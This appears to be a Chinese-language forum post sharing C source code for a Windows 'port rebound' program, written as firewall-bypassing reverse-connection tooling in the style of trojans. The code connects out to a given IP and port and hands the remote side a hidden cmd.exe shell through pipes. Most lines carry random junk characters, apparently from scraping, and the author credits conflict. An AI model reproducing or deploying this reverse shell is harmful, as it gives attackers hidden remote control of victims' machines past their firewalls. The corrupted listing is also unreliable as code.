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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 |oFAGP1  
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/* ============================== b/("Y.r=  
Rebound port in Windows NT 6W2hr2Zy9  
By wind,2006/7 =H`Q~ Xx  
===============================*/ 5K%W a]W  
#include _e<o7Y@_  
#include Dm0a.J v  
n6Z|Q@F  
#pragma comment(lib,"wsock32.lib") Y3U9:VB  
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void OutputShell(); 2DDsWJ;  
SOCKET sClient; \?fIt?  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; } p:%[  
6" B%)0  
void main(int argc,char **argv) 5<YzalNf  
{ V9%aBkf8w  
WSADATA stWsaData; ?&+9WJ<M  
int nRet; :!TI K1  
SOCKADDR_IN stSaiClient,stSaiServer; FY3IUG  
5"KlRuv%  
if(argc != 3) 2umv|]n+l|  
{ v3[@1FQ"  
printf("Useage:\n\rRebound DestIP DestPort\n"); iw?I  
return; Tl("IhkC  
} >bo'Y9C  
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WSAStartup(MAKEWORD(2,2),&stWsaData); 3`.P'Fh(k  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); :D:DnVZ-[@  
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stSaiClient.sin_family = AF_INET; )7cb6jCU  
stSaiClient.sin_port = htons(0); N:5[,O<m_  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); |UUdz_i!:  
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) w}cY6O,1  
{ dl]#  
printf("Bind Socket Failed!\n"); W7No ls{  
return; ki]ti={12  
} N_C;&hJN$w  
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stSaiServer.sin_family = AF_INET; $% k1fa C  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); i b6^x:HGU  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); AONDx3[   
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) a:STQk V  
{ ^%T7.1'x  
printf("Connect Error!"); io2)1cE&f  
return; ^eq</5q D  
} 3,X/,'  
OutputShell(); :Ixx<9c.  
} 2h=%K/hhY  
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void OutputShell() ^ZRYRA  
{ cQN sL  
char szBuff[1024]; ]2SI!Ai7  
SECURITY_ATTRIBUTES stSecurityAttributes; [#^#+ |{\  
OSVERSIONINFO stOsversionInfo; E>jh"|f:{  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; F =a+z/xKT  
STARTUPINFO stStartupInfo; &dB-r&4;+  
char *szShell; %q 3$|>  
PROCESS_INFORMATION stProcessInformation; coE&24,0  
unsigned long lBytesRead; .x83Ah`  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); r),PtI0X  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); RzKb{> ;A  
stSecurityAttributes.lpSecurityDescriptor = 0; NPnHH:\;  
stSecurityAttributes.bInheritHandle = TRUE; %:v`EjRD0  
#s-iy+/1oN  
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); [tT8_}v$LN  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); LaFZ?7@|}  
C@\{ehG  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); knp>m,w  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; JAc_kl{4O  
stStartupInfo.wShowWindow = SW_HIDE; R[tC^]ai  
stStartupInfo.hStdInput = hReadPipe; l: |D,q  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; Nh?| RE0t  
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GetVersionEx(&stOsversionInfo); q<vf,D@{ !  
I&yVx8aH}  
switch(stOsversionInfo.dwPlatformId) fK}h"iH+K  
{ -Yi,_#3{  
case 1: OTWkUB{  
szShell = "command.com"; KxGX\   
break; XKOUQc4!R  
default: vT^Sk;E  
szShell = "cmd.exe"; `(y(w-:W1  
break; p&p.Q^"ok  
}  gJN0!N'  
{^)70Vz>PE  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); )KSoq/  
6aO2:|:yP  
send(sClient,szMsg,77,0); )EM7,xMz  
while(1) +!t}  
{ 5/><$06rq  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); ^?"\?M1  
if(lBytesRead) cV K7  
{ 0rSIfYZa  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); \`.F\ Z  
send(sClient,szBuff,lBytesRead,0); {16<^  
} pE]?x $5U  
else zSTR^sgJ  
{ qeL pXe0c  
lBytesRead=recv(sClient,szBuff,1024,0); Ji'(`9F&a  
if(lBytesRead<=0) break; Z$KLl((  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); -!M,75nU  
} R"Liz3Vl%  
} 's?Ai2=#  
rM}0%J'  
return; S:Q! "U  
}
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